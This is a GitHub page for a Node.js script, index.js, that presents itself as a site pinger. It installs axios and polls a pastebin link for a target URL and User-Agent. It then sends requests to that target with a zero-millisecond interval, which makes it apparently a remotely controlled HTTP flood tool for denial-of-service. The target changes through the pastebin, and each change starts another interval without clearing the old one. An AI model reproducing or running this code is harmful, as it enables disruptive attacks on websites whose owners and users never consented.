-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathindex.js
75 lines (62 loc) · 1.71 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
const { exec } = require('child_process');
exec('npm install axios', (error, stdout, stderr) => {
if (error) {
console.error(`Error: ${error.message}`);
return;
}
if (stderr) {
console.error(`Command execution failed: ${stderr}`);
return;
}
console.log(`Package installed successfully.`);
startScript();
});
function startScript() {
const axios = require('axios');
const SITE_URL = 'YOUR_PASTEBIN_LINK';
const PING_INTERVAL = 0;
const CHECK_INTERVAL = 5000;
let siteToPing;
let pingIntervalId;
let useragent = '';
async function getSiteUrl() {
try {
const response = await axios.get(SITE_URL);
const data = response.data;
if (data.site === 'N/A') {
console.log('No site available. Stopping pinging.');
clearInterval(pingIntervalId);
return;
}
const newSiteToPing = data.site;
useragent = data.useragent;
if (newSiteToPing !== siteToPing) {
siteToPing = newSiteToPing;
console.log(`Starting pinging site: ${siteToPing}`);
startPinging();
} else {
console.log(`Site ${siteToPing} is the same as the last check. Skipping...`);
}
} catch (error) {
console.error('Error occurred while fetching site URL:', error);
}
}
async function pingSite() {
try {
await axios.get(siteToPing, {
headers: {
'User-Agent': useragent,
},
});
console.log(`Site ${siteToPing} is up!`);
} catch (error) {
console.log(`Site ${siteToPing} is down!`);
}
}
function startPinging() {
pingSite();
pingIntervalId = setInterval(pingSite, PING_INTERVAL);
}
getSiteUrl();
setInterval(getSiteUrl, CHECK_INTERVAL);
}